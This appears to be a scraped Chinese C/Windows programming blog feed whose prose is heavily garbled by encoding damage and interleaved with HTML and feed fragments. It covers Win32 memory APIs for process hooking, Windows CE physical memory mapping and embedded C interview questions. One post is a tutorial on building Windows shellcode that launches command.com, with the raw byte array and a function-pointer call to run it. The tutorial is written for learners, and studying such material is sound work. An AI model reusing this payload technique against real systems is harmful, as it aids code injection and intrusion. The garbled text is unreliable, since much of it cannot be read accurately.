
DWORD VirtualQuery(

    LPVOID lpAddress,     

    PMEMORY_BASIC_INFORMATION lpBuffer,

    DWORD dwLength

    );

l           

VirtualQueryEx()函数原型如下Q?/p>

l           

DWORD VirtualQueryEx(

    HANDLE hProcess ,

    LPCVOID lpAddress ,

    PMEMORY_BASIC_INFORMATION lpBuffer ,

    DWORD dwLength

    );

l           

其中参数含义如下所q?/p>

hProcessQ进E的句柄?/p>

lpAddressQ想要了解其信息的虚存地址?/p>

lpBufferQ返回MEMORY_ BASIC_INFORMATIONl构的地址?/p>

dwLengthQ返回的字节数?/p>

PWEMORY_BASIC_INFORMATION的定义如下:

l           

typedef struct _MEMORY_BASIC_INFORMATION{

    PVOID BaseAddress;  

    PVOID AllocationBase;

    DWORD AllocationProtect;

    DWORD RegionSize;

    DWORD State;

    DWORD Protect;

    DWORD Type;

} MEMORY_BASIC_INFORMATION, * PMEMORY_BASIC_INFORMATION;

l           

其中参数含义如下所q?/p>

BaseAddressQ被查询内存块的基地址?/p>

AllocationBaseQ用VirtualAlloc()分配该内存时实际分配的基地址?/p>

AllocationProtectQ分配该面Ӟ面的一些属性,如PAGE_READWRITE、PAGE_EXECUTE{(其他属性可参?Platform SDKQ?/p>

RegionSizeQ从BaseAddress开始,h相同属性的面的大?/p>

StateQ页面的状态,?U可能|MEM_COMMIT、MEM_FREE和MEM_ RESERVEQ这个参数是最重要的,从中可知指定内存面的状态?/p>

ProtectQ页面的属性,它可能的取g AllocationProtect 相同?/p>

TypeQ指明了该内存块的类型,?U可能|MEM_IMAGE、MEM_MAPPED和MEM_PRIVATE?/p>

1.3.5  改变内存面保护属?/h3>

在进行进E挂钩时Q经常要向内存页中写入部分代码,q就需要改变内存页的保护属性。有q的是Win32提供了两个API函数VirtualProtect()和VirtualProtectEx()Q它们可以对改变内存保护。例如,在用这两个函数Ӟ可以先按PAGE_READWRITE属性来提交一个页的地址Qƈ且立卛_数据填写到该中Q然后再把该늚属性改变ؓPAGE_READONLYQ这样可以有效地保护数据不被该进E中的Q何其他线E重写。在调用q两个函C前最好先了解有关面的信息,可以通过VirtualQuery()来实现?/p>

VirtualProtect()与VirtualProtectEx()函数的区别在于VirtualProtect()只适用于本q程Q而VirtualProtectEx()可以适用于其他进E。VirtualProtect()函数原型如下Q?/p>

BOOL VirtualProtect(

    PVOID pvAddress,

    DWORD dwSize,

    DWORD flNewProtect,

    PDWORD pflOldProtect

    );

l           

VirtualProtectEx()函数原型如下Q?/p>

l           

BOOL VirtualProtectEx(

    HANDLE hProcess,

    PVOID pvAddress,

    DWORD dwSize,

    DWORD flNewProtect,

    PDWORD pflOldProtect

    );

l           

其中参数的含义如下所q?/p>

hProcessQ要修改内存的进E句柄?/p>

pvAddressQ指向内存的基地址Q它必须位于q程的用h式分ZQ?/p>

dwSizeQ用于指明想要改变保护属性的字节数?/p>

flNewProtectQ代表PAGE_*保护属性标志中的Q何一个标志,但PAGE_ WRITECOPY和PAGE_EXECUTE_WRITECOPYq两个标志除外?/p>

pflOldProtectQ是DWORD大小的地址QVirtualProtect()和VirtualProtectEx()用原先与pvAddress位置上的字节相关的保护属性填入该地址。尽许多应用程序ƈ不需要该信息Q但是必Mؓ该参C递一个有效地址Q否则该函数的运行将会失败?/p>

1.3.6  q行一个进E的内存d

前面已经说明了如何获得一个进E的内存属性、如何分配内存和如何改变内存늚保护属性,其最l的目的是要对一个进E中内存内容q行d。要完成此工作,需要用C个函敎ͼReadProcessMemory() 和WriteProcessMemory()Q这两个函数非常有用。如果知道了一个进E的句柄和内存地址Q就可以用ReadProcessMemory()函数来得到该q程和该地址中的内容Q此函数的原型ؓQ?/p>

l           

BOOL ReadProcessMemory(

    HANDLE hProcess,

    LPCVOID lpBaseAddress,

    LPVOID lpBuffer,

    DWORD nSize, 

    LPDWORD lpNumberOfBytesRead

    );

l           

其中hProcessd的进E句柄,lpBaseAddress内存的v始地址QlpBuffer入数据的地址QnSized的字节数QlpNumberOfBytesRead为实际读入的?nbsp;  节数?/p>

同样Q如果知道了一个进E的句柄和内存地址Q可以用WriteProcessMemory()函数向该q程和该地址中写入新的内容,q个函数的原型ؓQ?/p>

l           

BOOL WriteProcessMemory(

    HANDLE hProcess,

    LPVOID lpBaseAddress,

    LPVOID lpBuffer,

    DWORD nSize,

    LPDWORD lpNumberOfBytesWritten

    );

l           

其中参数hProcess写入的进E句柄,lpBaseAddress为写内存的v始地址QlpBuffer为写入数据的地址QnSize写入的字节数QlpNumberOfBytesWritten为实际写入的字节数?/p>

井泉 2007-11-15 12:40 发表评论
]]>
Q{QWindows CE下访问物理内存的一些方法!Q?http://www.shnenglu.com/zjj2816/archive/2007/11/15/36669.html井泉井泉Thu, 15 Nov 2007 04:28:00 GMThttp://www.shnenglu.com/zjj2816/archive/2007/11/15/36669.htmlhttp://www.shnenglu.com/zjj2816/comments/36669.htmlhttp://www.shnenglu.com/zjj2816/archive/2007/11/15/36669.html#Feedback3http://www.shnenglu.com/zjj2816/comments/commentRss/36669.htmlhttp://www.shnenglu.com/zjj2816/services/trackbacks/36669.html嵌入式设备与桌面PC的一个显著不同是它的应用E序中通常需要直接访问某一D늉理内存,q在驱动E序中对物理内存的访问尤为重要,其是像ARM体系l构下,I/O端口也被映射成某一个物理内存地址。因此,与桌面版?/span>Windows相比Q?/span>Windows CE提供了相对简单的物理内存讉K方式。无论是驱动E序q是应用E序都可以通过API讉K某一D늉理内存?/span>

Windows CE的有些函C需要用到物理内存结构体PHYSICAL_ADDRESSQ?/span> Windows CE?/span>ceddk.h中定义了PHYSICAL_ADDRESSQ它其实?/span>LARGE_INTEGERcdQ其定义如下Q?/span>

// in ceddk.h

typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;

// in winnt.h

typedef union _LARGE_INTEGER{

 struct{

    DWORD LowPart;

    LONG HighPart;

 };

 LONGLONG QuadPart;

} LARGE_INTEGER;

可见Q?/span>Windows CE中用64?/span>Bit来代表物理地址Q对于大多数32位的CPU而言Q只需要把它的HighPart讄?/span>0可以了?/span>

如果要直接访问某一个地址的物理内存,Windows CE提供?/span>VirtualAlloc()?/span>VirtualCopy()函数Q?/span>VirtualAlloc负责在虚拟内存空间内保留一D虚拟内存,?/span>VirtualCopy负责把一D늉理内存和虚拟内存l定Q这P最l对物理内存的访问还是通过虚拟地址q行。它们的声明如下Q?/span>

// 甌虚拟内存

LPVOID VirtualAlloc(

 LPVOID lpAddress,     // 希望的虚拟内存v始地址

 DWORD dwSize,             // 以字节ؓ单位的大?/span>

 DWORD flAllocationType,  // 甌cdQ分?/span>Reserve?/span>Commit

 DWORD flProtect           // 讉K权限

);

// 把物理内存绑定到虚拟地址I间

BOOL VirtualCopy(

 LPVOID lpvDest,           // 虚拟内存的目标地址

 LPVOID lpvSrc,            // 物理内存地址

 DWORD cbSize,             // 要绑定的大小

 DWORD fdwProtect          // 讉K权限

);

VirtualAlloc对虚拟内存的甌分ؓ两步Q保?/span>MEM_RESERVE和提?/span>MEM_COMMIT。其?/span>MEM_RESERVE只是在进E的虚拟地址I间内保留一D,q不分配实际的物理内存,因此保留的虚拟内存ƈ不能被应用程序直接用?/span>MEM_COMMIT阶段才真正的拟内存分配物理内存?/span>

下面的代码显CZ如何使用VirtualAlloc?/span>VirtualCopy来访问物理内存。因?/span>VirtualCopy负责把一D늉理内存和虚拟内存l定Q所?/span>VirtualAlloc的时候只需要对内存保留Q没有必要提交?/span>

FpDriverGlobals =

(PDRIVER_GLOBALS) VirtualAlloc(

    0,

    DRIVER_GLOBALS_PHYSICAL_MEMORY_SIZE,

    MEM_RESERVE,

    PAGE_NOACCESS);

 if (FpDriverGlobals == NULL) {

    ERRORMSG(DRIVER_ERROR_MSG, (TEXT(" VirtualAlloc failed!\r\n")));

    return;

 }

 else {

    if (!VirtualCopy(

    (PVOID)FpDriverGlobals,

    (PVOID)(DRIVER_GLOBALS_PHYSICAL_MEMORY_START),

    DRIVER_GLOBALS_PHYSICAL_MEMORY_SIZE,

    (PAGE_READWRITE | PAGE_NOCACHE))) {

       ERRORMSG(DRIVER_ERROR_MSG, (TEXT("VirtualCopy failed!\r\n")));

       return;

    }

 }

CEDDKq提供了函数MmMapIoSpace用来把一D늉理内存直接映到虚拟内存。此函数的原形如下:

PVOID MmMapIoSpace(

 PHYSICAL_ADDRESS PhysicalAddress, // 起始物理地址

 ULONG NumberOfBytes,                  // 要映的字节?/span>

 BOOLEAN CacheEnable                   // 是否~存

);

其实Q?/span>MmMapIoSpace函数内部也是调用VirtualAlloc?/span>VirtualCopy函数来实现物理地址到虚拟地址的映的?/span>MmMapIoSpace函数的原代码是公开的,我们可以?/span>%_WINCEROOT%\PUBLIC\COMMON\OAK\DRIVERS\CEDDK\DDK_MAP\ddk_map.c得到。从MmMapIoSpace的实现我们也可以看出VirtualAlloc?/span>VirtualCopy的用法:

PVOID MmMapIoSpace (

    IN PHYSICAL_ADDRESS PhysicalAddress,

    IN ULONG NumberOfBytes,

    IN BOOLEAN CacheEnable

    )

{

PVOID pVirtualAddress; ULONGLONG SourcePhys;

ULONG SourceSize; BOOL bSuccess;

 

    SourcePhys = PhysicalAddress.QuadPart & ~(PAGE_SIZE - 1);

    SourceSize = NumberOfBytes + (PhysicalAddress.LowPart & (PAGE_SIZE - 1));

 

    pVirtualAddress = VirtualAlloc(0, SourceSize, MEM_RESERVE, PAGE_NOACCESS);

    if (pVirtualAddress != NULL)

    {

        bSuccess = VirtualCopy(

            pVirtualAddress, (PVOID)(SourcePhys >> 8), SourceSize,

            PAGE_PHYSICAL | PAGE_READWRITE | (CacheEnable ? 0 : PAGE_NOCACHE));

 

        if (bSuccess) {

            (ULONG)pVirtualAddress += PhysicalAddress.LowPart & (PAGE_SIZE - 1);

        }

        else {

            VirtualFree(pVirtualAddress, 0, MEM_RELEASE);

            pVirtualAddress = NULL;

        }

    }

    return pVirtualAddress;

}

此外Q?/span>Windows CEq供?/span>AllocPhysMem函数?/span>FreePhysMem函数Q用来申请和释放一D连l的物理内存。函数可以保证申L物理内存是连l的Q如果函数成功,会返回虚拟内存的句柄和物理内存的起始地址。这对于DMA讑֤ؓ有用。在q里׃详细介绍了,读者可以参?/span>Windows CE的联机文?/span>



井泉 2007-11-15 12:28 发表评论
]]>
Q{Q打造Windows下自qShellCodehttp://www.shnenglu.com/zjj2816/archive/2007/08/20/30439.html井泉井泉Mon, 20 Aug 2007 09:17:00 GMThttp://www.shnenglu.com/zjj2816/archive/2007/08/20/30439.htmlhttp://www.shnenglu.com/zjj2816/comments/30439.htmlhttp://www.shnenglu.com/zjj2816/archive/2007/08/20/30439.html#Feedback0http://www.shnenglu.com/zjj2816/comments/commentRss/30439.htmlhttp://www.shnenglu.com/zjj2816/services/trackbacks/30439.htmlZ帮助初学者了解ShellCode的编写,q能一步一步操作得到自qShellCodeQ因此将Windows下ShellCode的编写过E作详细的介l,以利于像我一L菜鸟Q最l能够写出简单的但却是真实的ShellCodeQ而进一步高U的ShellCode的编写,也会在系列后面的文章中一步一步的演示的,希望大家会发玎ͼExp真好QShellCode最妙Q?
ShellCode介和~写步骤
从以前的文章和别人的d代码中可以知道,ShellCode是以“\xFF\x3A\x45\x72……”的Ş式出现在E序中的Q而Exploit的构造就是想方设法地使计机能{到我们的ShellCode上来Q去执行“\xFF\x3A\x45\x72……”――由此看出,ShellCode才是Exploitd的真正主宎ͼ如同独行者是我们文章的主CP。而ShellCode?#8220;\xFF\x3A\x45\x72……”那些|其实是机器码的Ş式,和一般程序在内存里面存的东东是没什么两LQ攻ȝ序把内存里面的数据动态改成ShellCode的|再蟩q去执行Q就如同执行一个在内存中的一般程序一P只不q完成的是我们的功能Q溢出攻dq样实现了?
在此可以下个定义QShellCode是一D늨序的机器码Ş式,而ShellCode的编写过E,是得到我们惌E序的机器码的过E?
当然ShellCode的特D性和Windows下函数调用的特点Q决定了和一般的汇编E序有所不同。所以其~写步骤应该是,
1Q构想ShellCode的功能;
2Q用C语言验证实现Q?br>3Q根据C语言实现Q改成带有ShellCode特点的汇~;
4Q最后得到机器码形式的ShellCode?br>其中最重要的是W三步――改成有ShellCode特点的汇~,在本文的后面讲到?
首先W一步是构想ShellCode的功能。我们想要的功能可能是植入木马,杀掉防火墙Q倒流时光Q发늣波找外星人等{(WTFQ咳……Q,但最基本的功能,q是希望开一个DOSH口Q那我们可以在DOSH口中做很多事情Q所以先介绍开DOSH口ShellCode的写法吧?
C语言代码
比如下面q个E序可以完成开DOSH口的功能,大家详细看下注释Q?
#include
#include
typedef void (*MYPROC)(LPTSTR); //定义函数指针
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvcrt.dll”);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System"); //查找System函数地址
(ProcAdd) ("command.com"); //其实是执行System(“command.com”)
return 0;
}
其实执行System(“command.com”)也可以完成开DOSH口的功能,写成q么复杂是有原因的,解释一下该E序Q首先Typedef void (*MYPROC)(LPTSTR)是定义一个函数指针类型,该类型的函数参数为是字符Ԍq回gؓI。接着定义MYPROC ProcAddQProcAdd为指向参Cؓ是字W串Q返回gؓI的函数指针Q用LoadLibrary(“msvcrt.dll”);装蝲动态链接库msvcrt.dllQ再使用ProcAdd = (MYPROC) GetProcAddress(LibHandle, System)获得 System的真实地址q赋lProcAddQ之后ProcAdd里存的就是System函数的地址Q以后用这个地址来调用System函数Q最?ProcAdd) ("command.com")是调用System("command.com")Q可以获得一个DOSH口。在H口中我们可以执行DirQCopy{命令。如下图1所C?




?
获得函数的地址
E序中用GetProcAddress函数获得System的真实地址Q但地址I竟是多,如何查看呢?
在VC中,我们按F10q入调试状态,然后在Debug工具栏中Ҏ后一个按钮Disassemble和第四个按钮RegistersQ这样出C源程序的汇编代码和寄存器状态窗口,如图2所C?




?
l箋按F10执行Q直到到ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System")语句下的Cll dword ptr [__imp__GetProcAddress@8 (00424194)]执行后,EAX变ؓ7801AFC3Q说明在我的机器上System( )函数的地址?x7801AFC3。如?所C?




?
WTFQ注意本ơ测试中读者的机器是Windows 2000 SP3Q不同环境可能地址不同?
Z么EAX是System( )函数的地址呢?那是因ؓ函数执行的返回|在汇~下通常是放在EAX中的Q这是计算机系l的U定吧,所以GetProcAddressQ?#8221;System”Q的q回|System函数的地址Q,在EAX中,?x7801AFC3?
Windows下函数的调用原理
Z么要q么ȝ的得到System函数的地址呢?q是因ؓ在Windows下,函数的调用方法是先将参数从右到左压入堆栈Q然后Call该函数的地址。比如执行函数FunQargv1, argv2Q,先把参数从右到左压入堆栈Q这里就是依ơ把argv2Qargv1压入堆栈里,然后Call Fun函数的地址。这里的Call Fun函数地址Q其实等于两步,一是把保存当前EIPQ二是蟩到Func函数的地址执行Q即Push EIP Q?Jmp Fun。其q程如下?所C?




?
同理Q我们要执行System("command.com")Q首先参数入栈,q里只有一个参敎ͼ所以就把Command.com的地址压入堆栈Q注意是Command.com字符串的地址Q然后Call System函数的地址Q就完成了执行。如?所C?




?
构造有ShellCode特点的汇~?
明白了Windows函数的执行原理,我们要执行System(“Command.exe”)Q就要先把Command.exe字符串的地址入栈Q但Command.exe字符串在哪儿呢?内存中可能没有,但我们可以自己构造!
我们?#8216;Command.exe’一个字W一个字W的赋给堆栈Q这?#8216;Command.exe’字符串就有了Q而栈的指针ESP正好是Command.exe字符串的地址Q我们Push espQ就完成了参数――Command.exe字符串的地址入栈。如下图6所C?




?
参数入栈了,然后该Call System函数的地址。刚才已l看刎ͼ在Windows 2000 SP3上,System函数的地址?x7801AFC3Q所以Call 0x7801AFC3p了?br>把思\合v来,可以写出执行System(“Command.exe”)的带有ShellCode特点的汇~代码如下?
mov esp,ebp ;
push ebp ;
mov ebp,esp ; 把当前esp赋给ebp
xor edi,edi ;
push edi ;压入0QespQ?,; 作用是构造字W串的结\0字符?
sub esp,08h ;加上上面Q一共有12个字?;用来?command.com"?
mov byte ptr [ebp-0ch],63h ; c
mov byte ptr [ebp-0bh],6fh ; o
mov byte ptr [ebp-0ah],6dh ; m
mov byte ptr [ebp-09h],6Dh ; m
mov byte ptr [ebp-08h],61h ; a
mov byte ptr [ebp-07h],6eh ; n
mov byte ptr [ebp-06h],64h ; d
mov byte ptr [ebp-05h],2Eh ; .
mov byte ptr [ebp-04h],63h ; c
mov byte ptr [ebp-03h],6fh ; o
mov byte ptr [ebp-02h],6dh ; m一个一个生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ; command.com串地址作ؓ参数入栈
mov eax, 0x7801AFC3 ;
call eax ; call System函数的地址
明白了原理再看实玎ͼ是不是清楚了很多呢?
提取ShellCode
首先来验证一下,在VC中可以用__asm关键字插入汇~,我们把System(“Command.exe”)用我们写的汇~替换,LoadLibrary先不动,然后执行Q成功!弹出了我们想要的DOSH口。如下图7所C?




?
同样的道理,LoadLibrary(“msvcrt.dll”)也仿照上面改成汇~,注意LoadLibrary在Windows 2000 SP3上的地址?x77e69f64。把两段汇编合v来,其~译、链接、执行,也成功了Q如下图8所C?




?
有了上面的工作,提取ShellCode只剩下体力zM。我们对刚才的全汇编的程序,按F10q入调试Q接着按下Debug工具栏的Disassembly按钮Q点右键Q在弹出菜单中选中Code BytesQ就出现汇编对应的机器码。因为汇~可以完全完成我们的功能Q所以我们把汇编对应的机器码原封不动抄下来,得到我们想要的ShellCode了。提取出来的ShellCode如下?
unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3
"\xFF\xD0";
验证ShellCode
最后要验证提取出来的ShellCode能否完成我们的功能。在以前的文章中已经说过ҎQ只需要新Z个工E和c源文Ӟ然后把ShellCode部分拷下来,存ؓ一个数l,最后在main中添? (void(*)(void)) &shellcode )()Q如下:
unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3
"\xFF\xD0";
int main()
{
( (void(*)(void)) &shellcode )()
return 0;
}
( (void(*)(void)) &shellcode )()q句话是关键Q它把ShellCode转换成一个参CؓI,q回为空的函数指针,q调用它。执行那句就相当于执行ShellCode数组里的那些数据。如果ShellCode正确Q就会完成我们想要的功能Q出C个DOSH口。我们亲自编写的W一个ShellCode成功完成Q?


q个ShellCode的功能还比较单薄Q而且通用性也待进一步研IӞ但的是一个由我们亲自打造出来的ShellCodeQ而且现实中的ShellCode也是q样写出来的。只要我们掌握了基本的方法,以后可以在qK的空间中自由qQ?/div>

井泉 2007-08-20 17:17 发表评论
]]>
Q{Q利用函数将E序跌{到固定地址执行http://www.shnenglu.com/zjj2816/archive/2007/08/10/29693.html井泉井泉Fri, 10 Aug 2007 07:28:00 GMThttp://www.shnenglu.com/zjj2816/archive/2007/08/10/29693.htmlhttp://www.shnenglu.com/zjj2816/comments/29693.htmlhttp://www.shnenglu.com/zjj2816/archive/2007/08/10/29693.html#Feedback0http://www.shnenglu.com/zjj2816/comments/commentRss/29693.htmlhttp://www.shnenglu.com/zjj2816/services/trackbacks/29693.html---------------------------------------------
定义函数void (* my_function)(void);

在程序中赋|

my_function = 0x00;

然后调用函数Q?/p>

my_function();

E序׃跌{?x00地址开始执行,常用于BootLoaderE序中.

cM的还有直接向某个地址写入数据Q?/p>

int *my_address = 0x05555555;

*my_address = 0x22222222;

直接?x05555555地址写入数据0x22222222.



井泉 2007-08-10 15:28 发表评论
]]>
自己的printfhttp://www.shnenglu.com/zjj2816/archive/2006/10/17/13770.html井泉井泉Tue, 17 Oct 2006 03:28:00 GMThttp://www.shnenglu.com/zjj2816/archive/2006/10/17/13770.htmlhttp://www.shnenglu.com/zjj2816/comments/13770.htmlhttp://www.shnenglu.com/zjj2816/archive/2006/10/17/13770.html#Feedback0http://www.shnenglu.com/zjj2816/comments/commentRss/13770.htmlhttp://www.shnenglu.com/zjj2816/services/trackbacks/13770.htmlint my_printf (const char *format, ...)
{
 va_list arg;
 int done;
 
 va_start (arg, format);
 done = vprintf (format, arg);
 va_end (arg);
 return done;
}

vprintf是printf的底层实现细?br />加上宏定义就可以方便的实现开/兌试信息了?img src ="http://www.shnenglu.com/zjj2816/aggbug/13770.html" width = "1" height = "1" />

井泉 2006-10-17 11:28 发表评论
]]>
x为嵌入式E序员应知道?x10个基本问?/title><link>http://www.shnenglu.com/zjj2816/archive/2006/07/24/10408.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Mon, 24 Jul 2006 07:43:00 GMT</pubDate><guid>http://www.shnenglu.com/zjj2816/archive/2006/07/24/10408.html</guid><wfw:comment>http://www.shnenglu.com/zjj2816/comments/10408.html</wfw:comment><comments>http://www.shnenglu.com/zjj2816/archive/2006/07/24/10408.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/zjj2816/comments/commentRss/10408.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/zjj2816/services/trackbacks/10408.html</trackback:ping><description><![CDATA[1 . 用预处理指o#define 声明一个常敎ͼ用以表明1q中有多秒Q忽略闰q问题)<br />#define SECONDS_PER_YEAR (60 * 60 * 24 * 365)UL<br />我在q想看到几g事情Q?br />1) #define 语法的基本知识(例如Q不能以分号l束Q括L使用Q等{)<br />2)懂得预处理器ؓ你计常数表辑ּ的|因此Q直接写Z是如何计一q中有多秒而不是计出实际的|是更清晰而没有代L?br />3) 意识到这个表辑ּ一?6位机的整型数溢出-因此要用到长整型W号L,告诉~译器这个常数是的长整型数?br />4) 如果你在你的表达式中用到ULQ表C无W号长整型)Q那么你有了一个好的v炏V记住,W一印象很重要?br /><br />2 . 写一?标准"宏MIN Q这个宏输入两个参数q返回较的一个?br />#define MIN(A,B) Q(AQ?<= (B) ? (A) : (B)) q个试是ؓ下面的目的而设的:<br />1) 标识#define在宏中应用的基本知识。这是很重要的。因为在 嵌入(inline)操作W?变ؓ标准C的一部分之前Q宏是方便生嵌入代码的唯一ҎQ对于嵌入式pȝ来说Qؓ了能辑ֈ要求的性能Q嵌入代码经常是必须的方法?br />2)三重条g操作W的知识。这个操作符存在C语言中的原因是它使得~译器能产生比if-then-else更优化的代码Q了解这个用法是很重要的?br />3) 懂得在宏中小心地把参数用括号括v?br />4) 我也用这个问题开始讨论宏的副作用Q例如:当你写下面的代码时会发生什么事Q?br />least = MIN(*p++, b);<br /><br />3. 预处理器标识#error的目的是什么?<br />如果你不知道{案Q请看参考文?。这问题对区分一个正常的伙计和一个书呆子是很有用的。只有书呆子才会读C语言课本的附录去扑և象这U问题的{案。当然如果你不是在找一个书呆子Q那么应试者最好希望自׃要知道答案?br /><br />d@环(Infinite loopsQ?br />4. 嵌入式系l中l常要用到无限@环,你怎么LC~写d@环呢Q?q个问题用几个解x案?<br />我首选的Ҏ是:<br />while(1)<br />{<br /><br />}<br />一些程序员更喜Ƣ如下方案:<br />for(;;)<br />{<br /><br />}<br />q个实现方式让我为难Q因个语法没有确切表辑ֈ底怎么回事。如果一个应试者给个作为方案,我将用这个作Z个机会去探究他们q样做的基本原理。如果他们的基本{案是:"我被教着q样做,但从没有惛_qؓ什么?q会l我留下一个坏印象?br />W三个方案是?goto<br />Loop:<br />...<br />goto Loop;<br />应试者如l出上面的方案,q说明或者他是一个汇~语aE序员(q也许是好事Q或者他是一个想q入新领域的BASIC/FORTRANE序员?br /><br />数据声明QData declarationsQ?<br />5. 用变量al出下面的定?br />a) 一个整型数QAn integerQ?<br />b)一个指向整型数的指针( A pointer to an integerQ?<br />c)一个指向指针的的指针,它指向的指针是指向一个整型数Q?A pointer to a pointer to an integeQr <br />d)一个有10个整型数的数l( An array of 10 integersQ?<br />e) 一个有10个指针的数组Q该指针是指向一个整型数的。(An array of 10 pointers to <br />integersQ?<br />f) 一个指向有10个整型数数组的指针( A pointer to an array of 10 integersQ?<br />g) 一个指向函数的指针Q该函数有一个整型参数ƈq回一个整型数QA pointer to a function <br />that takes an integer as an argument and returns an integerQ?<br />h) 一个有10个指针的数组Q该指针指向一个函敎ͼ该函数有一个整型参数ƈq回一个整型数Q?An array of ten pointers to functions that take an integer argument and return an integer Q?br />{案是: <br />a) int a; // An integer <br />b) int *a; // A pointer to an integer <br />c) int **a; // A pointer to a pointer to an integer <br />d) int a[10]; // An array of 10 integers <br />e) int *a[10]; // An array of 10 pointers to integers <br />f) int (*a)[10]; // A pointer to an array of 10 integers <br />g) int (*a)(int); // A pointer to a function a that <br />takes an integer argument and returns an integer <br />h) int (*a[10])(int); // An array of 10 pointers to <br />functions that take an integer argument and return an <br />integer <br />Zl常声称q里有几个问题是那种要翻一下书才能回答的问题,我同意这U说法。当我写q篇文章ӞZ定语法的正性,我的查了一下书。但是当我被面试的时候,我期望被问到q个问题Q或者相q的问题Q。因为在被面试的q段旉里,我确定我知道q个问题的答案。应试者如果不知道所有的{案Q或臛_大部分答案)Q那么也没有ؓq次面试做准备,如果该面试者没有ؓq次面试做准备,那么他又能ؓ什么出准备呢?<br /><br />Static <br />6. 关键字static的作用是什么?<br />q个单的问题很少有h能回{完全。在C语言中,关键字static有三个明昄作用Q?br />1)在函CQ一个被声明为静态的变量在这一函数被调用过E中l持其g变?br />2) 在模块内Q但在函C外)Q一个被声明为静态的变量可以被模块内所用函数访问,但不能被模块外其它函数访问。它是一个本地的全局变量?br />3) 在模块内Q一个被声明为静态的函数只可被这一模块内的其它函数调用。那是Q这个函数被限制在声明它的模块的本地范围内用?br />大多数应试者能正确回答W一部分Q一部分能正回{第二部分,同是很少的h能懂得第三部分。这是一个应试者的严重的缺点,因ؓ他显然不懂得本地化数据和代码范围的好处和重要性?br /><br />Const <br />7Q关键字const有什么含意?<br />我只要一听到被面试者说Q?const意味着常数"Q我q道我正在和一个业余者打交道。去qDan <br />Saks已经在他的文章里完全概括了const的所有用法,因此ESP(译者:Embedded Systems <br />Programming)的每一位读者应该非常熟悉const能做什么和不能做什?如果你从没有d那篇文章Q只要能说出const意味着"只读"可以了。尽这个答案不是完全的{案Q但我接受它作ؓ一个正的{案。(如果你想知道更详l的{案Q仔l读一下Saks的文章吧。)<br />如果应试者能正确回答q个问题Q我问他一个附加的问题Q下面的声明都是什么意思?<br />const int a;<br />int const a;<br />const int *a;<br />int * const a;<br />int const * a const;<br />/******/<br />前两个的作用是一Pa是一个常整型数。第三个意味着a是一个指向常整型数的指针Q也是Q整型数是不可修改的Q但指针可以Q。第四个意思a是一个指向整型数的常指针Q也是_指针指向的整型数是可以修改的Q但指针是不可修改的Q。最后一个意味着a是一个指向常整型数的常指针(也就是说Q指针指向的整型数是不可修改的,同时指针也是不可修改的)。如果应试者能正确回答q些问题Q那么他q我留下了一个好印象。顺带提一句,也许你可能会问,即不用关键?Q也q是能很Ҏ写出功能正确的程序,那么我ؓ什么还要如此看重关键字const呢?我也如下的几下理由:<br />1) 关键字const的作用是为给M代码的h传达非常有用的信息,实际上,声明一个参Cؓ帔R是ؓ了告诉了用户q个参数的应用目的。如果你曾花很多旉清理其它人留下的垃圾Q你׃很快学会感谢q点多余的信息。(当然Q懂得用const的程序员很少会留下的垃圾让别人来清理的。)<br />2) 通过l优化器一些附加的信息Q用关键字const也许能生更紧凑的代码?br />3) 合理C用关键字const可以使编译器很自然地保护那些不希望被改变的参敎ͼ防止其被无意的代码修攏V简而言之,q样可以减少bug的出现?br /><br />Volatile <br />8. 关键字volatile有什么含?q给Z个不同的例子?br />一个定义ؓvolatile的变量是说这变量可能会被意想不到地改变,q样Q编译器׃会去假设q个变量的g。精地说就是,优化器在用到q个变量时必Lơ都心地重新读取这个变量的|而不是用保存在寄存器里的备份。下面是volatile变量的几个例子:<br />1) q行讑֤的硬件寄存器Q如Q状态寄存器Q?br />2) 一个中断服务子E序中会讉K到的非自动变?Non-automatic variables)<br />3) 多线E应用中被几个Q务共享的变量<br />回答不出q个问题的h是不会被雇䄦的。我认ؓq是区分CE序员和嵌入式系l程序员的最基本的问题。搞嵌入式的家伙们经常同g、中断、RTOS{等打交道,所有这些都要求用到volatile变量。不懂得volatile的内容将会带来灾难?假设被面试者正地回答了这是问题(嗯,怀疑是否会是这PQ我稍微深I一下,看一下这家伙是不是直正懂得volatile完全的重要性?br />1)一个参数既可以是constq可以是volatile吗?解释Z么?br />2); 